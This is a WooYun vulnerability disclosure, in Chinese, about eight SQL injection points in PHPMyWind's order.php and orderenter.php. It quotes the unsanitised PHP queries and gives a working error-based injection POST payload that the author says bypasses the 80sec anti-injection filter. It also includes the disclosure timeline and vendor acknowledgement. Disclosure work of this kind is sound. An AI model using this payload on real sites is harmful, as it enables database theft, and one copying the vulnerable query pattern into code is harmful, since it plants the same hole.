当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-079492

漏洞标题:PHPMyWind某处设计失误导致7-8处SQL注入

相关厂商:phpmywind.com

漏洞作者: linadmin

提交时间:2014-10-15 17:34

修复时间:2015-01-13 17:36

公开时间:2015-01-13 17:36

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-10-15: 细节已通知厂商并且等待厂商处理中
2014-10-16: 厂商已经确认,细节仅向厂商公开
2014-10-19: 细节向第三方安全合作伙伴开放
2014-12-10: 细节向核心白帽子及相关领域专家公开
2014-12-20: 细节向普通白帽子公开
2014-12-30: 细节向实习白帽子公开
2015-01-13: 细节向公众公开

简要描述:

PHPMyWind某处设计失误导致7-8处SQL注入

详细说明:

经过简单审核发现phpmywind的一个漏洞集群,其实是设计原因导致的,总共会导致8处SQL注入,涉及的文件有两个分别是order.php 和 orderenter.php。漏洞核心在于$orderinfo在传输值的时候没有经过SQL注入的过滤。详述如下:
首先进入order.php,该页面用于填写商品订单信息,这里就生成了一个$orderinfo这个变量。
if($action == 'save')
{
//检测数据完整性
if($username == '' or
$truename == '' or
$telephone == '' or
$zipcode == '' or
$postarea_prov == '-1' or
$address == '' or
$idcard == '' or
$postmode == '-1' or
$paymode == '-1' or
$getmode == '-1'
)
{
header('location:order.php');
exit();
}

//HTML转义变量
$username = htmlspecialchars($username);
$truename = htmlspecialchars($truename);
$idcard = htmlspecialchars($idcard);
$telephone = htmlspecialchars($telephone);
$zipcode = htmlspecialchars($zipcode);
$address = htmlspecialchars($address);
$buyremark = htmlspecialchars($buyremark);
$posttime = time();

$postarea_prov = empty($postarea_prov) ? '-1' : $postarea_prov;
$postarea_city = empty($postarea_city) ? '-1' : $postarea_city;
$postarea_country = empty($postarea_country) ? '-1' : $postarea_country;
$orderinfo = array('truename' => $truename,
'telephone' => $telephone,
'zipcode' => $zipcode,
'postarea_prov' => $postarea_prov,
'postarea_city' => $postarea_city,
'postarea_country' => $postarea_country,
'address' => $address,
'idcard' => $idcard,
'postmode' => $postmode,
'paymode' => $paymode,
'getmode' => $getmode,
'buyremark' => $buyremark,
'posttime' => $posttime);
//存入COOKIE
setcookie('orderinfo', AuthCode(serialize($orderinfo),'ENCODE'));
header('location:orderenter.php');
exit();
}
Phpmywind可以在url中定义变量,因此orderinfo中数组中每个变量都可以通过URL参数进行设定,但是注意,这里并没有进行任何SQL注入字符过滤操作,htmlspecialchar只能解决XSS!!!
然后把$orderinfo加密后存放到cookie的orderinfo字段中,转到orderenter.php页面
漏洞来了!!!
这个页面中大量使用了orderinfo数组中的变量
1.$r = $dosql->GetOne("SELECT `postprice` FROM `#@__postmode` WHERE `id`=".$orderinfo['postmode']);
2.$sql = "INSERT INTO `#@__goodsorder` (username, attrstr, truename, idcard, telephone, zipcode, postarea_prov, postarea_city, postarea_country, address, ordernum, postmode, paymode, getmode, weight, cost, amount, buyremark, posttime, orderid, checkinfo) VALUES ('$username', '$attrstr', '".$orderarr['truename']."', '".$orderarr['idcard']."', '".$orderarr['telephone']."', '".$orderarr['zipcode']."', '".$orderarr['postarea_prov']."', '".$orderarr['postarea_city']."', '".$orderarr['postarea_country']."', '".$orderarr['address']."', '$ordernum', '".$orderarr['postmode']."', '".$orderarr['paymode']."', '".$orderarr['getmode']."', '".$orderarr['totalweight']."', '".$orderarr['cost']."', '".$orderarr['totalprice']."', '".$orderarr['buyremark']."', '".$orderarr['posttime']."', '$orderid', 'confirm')";
3.$r = $dosql->GetOne("SELECT `dataname` FROM `#@__cascadedata` WHERE `datagroup`='area' AND level=0 AND `datavalue`=".$orderinfo['postarea_prov']);
4.$r = $dosql->GetOne("SELECT `dataname` FROM `#@__cascadedata` WHERE `datagroup`='area' AND level=1 AND `datavalue`=".$orderinfo['postarea_city']);
5.$r = $dosql->GetOne("SELECT `dataname` FROM `#@__cascadedata` WHERE `datagroup`='area' AND level=2 AND `datavalue`=".$orderinfo['postarea_country']);
6.$r = $dosql->GetOne("SELECT `classname`,`postprice` FROM `#@__postmode` WHERE `id`=".$orderinfo['postmode']);
7.$r = $dosql->GetOne("SELECT `classname` FROM `#@__paymode` WHERE `id`=".$orderinfo['paymode']);
8.$r = $dosql->GetOne("SELECT `classname` FROM `#@__getmode` WHERE `id`=".$orderinfo['getmode']);
,共有8处,而这8处均可以作为SQL注入的注入点。
我以paymode变量注入为例
$r = $dosql->GetOne("SELECT `classname` FROM `#@__paymode` WHERE `id`=".$orderinfo['paymode']);
解释并验证漏洞存在性
首先我注册一个用户
然后进到goods.php中随意选中一件物品点击加入购物车,然后点击结算购物车,选中物品点击下一步,进入到order.php页面然后通过firefox浏览器构造SQL注入payload
具体:
url: http://127.0.0.1/phpmywind/order.php
post数据:
truename=11111111&telephone=11111111111111&zipcode=11111111&postarea_prov=1500&postarea_city=1501&postarea_country=-1&address=11111111111111&idcard=11111111111111&postmode=2&paymode=1 and 1=2 and char(@`'`)=(SELECT 1 FROM (SELECT COUNT(*),CONCAT(FLOOR(RAND(0)*2),(SELECT CONCAT(0x5f,DATABASE(),0x5f,USER(),0x5f,VERSION())))a FROM information_schema.tables GROUP BY a)b)# and '1'='1&getmode=1&buyremark=111111111111111&username=listen1&amount=5499&weight=0.35&action=save
虽然phpmywind使用了80sec防注入,但是依旧可以绕过。其实就是截取正常数据包然后修改paymode变量为错误回显注入的代码
点击发送
查看结果:

1.png


没有问题,之前被这个80sec弄得好惨,仔细研究过才绕过,苦逼啊。。。就这样了。其他7处漏洞原理一模一样,不再赘述。有问题联系[email protected]

漏洞证明:

1.png

验证流程如上

修复方案:

过滤参数吧

版权声明:转载请注明来源 linadmin@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2014-10-16 15:37

厂商回复:

感谢提交漏洞

最新状态:

暂无